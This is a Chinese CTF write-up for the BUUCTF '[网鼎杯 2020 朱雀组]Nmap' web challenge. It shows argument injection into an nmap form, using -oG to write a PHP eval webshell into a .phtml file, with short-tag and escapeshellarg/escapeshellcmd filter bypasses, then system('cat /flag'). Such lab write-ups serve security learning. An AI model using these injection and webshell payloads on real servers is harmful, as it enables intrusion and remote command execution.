BUUCTF_WEB_[网鼎杯 2020 朱雀组]Nmap 题解

[网鼎杯 2020 朱雀组]Nmap

1.有题目提示得这是一道考察Nmap执行的题目:
image-20230822100327583

输入框中我们可以输入ip地址或hostname

测试:

1
127.0.0.1

响应结果:

image-20230822100434322

2.在kali中测试nmap:

nmap对ip地址的处理

扫描IP地址:

nmap 127.0.0.1:
image-20230822101659678

返回的结果:

1
2
3
Not shown: 1000 closed tcp ports (conn-refused)

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

而网站中的返回结果为:

image-20230822102909620

两者的返回结果都是TCP协议,然后有Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

**扫描指定IP地址(ping 扫描)**:
image-20230822103048486

返回结果中没有表明是TCP协议

所以一般网站使用TCP返回,都是nmap扫描或nmap -sT 扫描(默认是nmap)

猜测该网址的扫描形式为:nmap “输入的ip地址”

2.nmap扫描漏洞利用:

nmap中可以用于将扫描结果写文件并输出保存在本地的命令:

1
2
3
4
5
6
7
8
9
-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

测试:
nmap 127.0.0.1 -oN test.txt:
image-20230822104553681

发现在当前文件夹中生成了一个test.txt文件

所以我们可以利用输出这个漏洞,将一句话木马写入文件中,利用该输出漏洞将一句话木马文件保存到网页的当前文件夹中,就可以实现注入

测试2:

测试网页是否可以进行输出命令的执行:
payload:

1
127.0.0.1 -oN test.txt

image-20230822105255949

网页成功回显,且返回的结果和测试的结果相似,说明该指令被成功执行,所以我们就可以构造注入payload

3.构造一句话木马:

payload:

1
<?php @eval($_POST['pass']);?>  -oN pass.php

响应结果:
image-20230822105623631

发现输入的结果可能被过滤,采用第二个payload试试
payload2:

1
<script language="php">@eval($_POST['pass']);</script> -oN pass.php

image-20230822105915275

依然被过滤

4.现在就要一个个进行判断,寻找被过滤的内容:
payload:

1
<?php @eval($_POST['pass']);?> 

image-20230822115002077

存在黑名单内容

payload:

1
<?

image-20230822115127287

由于该文件不可被识别,所以就无法显示内容

payload:

1
<?php

image-20230822115207663

payload:

1
<?ph

image-20230822115311166

所以过滤的内容为php,我们需要绕过php判断

php一句话木马的构造

可以解析php文件的后缀名:

1
2
3
4
5
.php2
.php3
.php4
.php5
.phtml

phtml:

1
2
3
<?php
echo "666";
?>

输出:

1
666

php短标签:

1
2
3
4
<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

测试:

1
2
3
<?
echo "888";
?>

输出:

1
888

等价于 :

1
2
3
<?=
"flag";
?>

输出:

1
flag

<% echo ‘123’;%> :

1
2
3
<%
echo "flag";
%>

输出:

1
flag

使用短标签绕过php:

1
2
3
<? echo '123';?>  => <? echo @eval($_POST['pass']);?>
<?=(表达式)?> => <?= @eval($_POST['pass']);?>
<% echo '123';%> => <% echo @eval($_POST['pass']);%>

测试:

1
2
3
<? 
echo @eval(system("dir"));
?>

输出:

image-20230822125459893

:

1
<?= @eval(system("dir"));?>

输出结果:

image-20230822125704414

payload:

1
<?= @eval($_POST['pass']);?>

image-20230822130015713

绕过

构造写文件输出payload:

1
<?= @eval($_POST['pass']);?> -oG pass.phtml

image-20230822131843981

发现成功绕过:
访问pass.phtml:

由于当于oG输出的文件都在当前文件夹下所以为:http://bd9c6623-f4d3-4f23-bf75-6978d1a50003.node4.buuoj.cn:81/pass.html

image-20230822132212701

发现当前网站下没有该文件,从之前的[BUUCTF 2018]Online Tool中获取的经验,nmap可能和escapeshellarg()与escapeshellcmd()配合使用,需要绕过这两个函数:使用空格和单引号,为了防止’pass’的单引号也被这两个函数过滤,我们这里使用”pass”:
payload:

1
2
3
' <?= @eval($_POST["pass"]);?> -oG pass.phtml '

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

image-20230822132957714

访问pass.phtml:http://bd9c6623-f4d3-4f23-bf75-6978d1a50003.node4.buuoj.cn:81/pass.phtml

image-20230822132932341

使用webshell测试:
payload:

1
2
POST:
pass=system("ls");

image-20230822133218223

发现一个flag文件:
payload:

1
2
POST:
pass=system("cat /flag");

返回结果:

1
2
3
# Nmap 6.47 scan initiated Tue Aug 22 05:28:38 2023 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/e0e2e -oG pass.phtml \ flag{544d334f-80b2-44f8-a3b1-c8b312b0b484}
\\
# Nmap done at Tue Aug 22 05:28:39 2023 -- 0 IP addresses (0 hosts up) scanned in 0.27 seconds

flag=flag{544d334f-80b2-44f8-a3b1-c8b312b0b484}


BUUCTF_WEB_[网鼎杯 2020 朱雀组]Nmap 题解
http://example.com/2023/08/22/2023-08-22-[网鼎杯 2020 朱雀组]Nmap/
作者
South
发布于
2023年8月22日
许可协议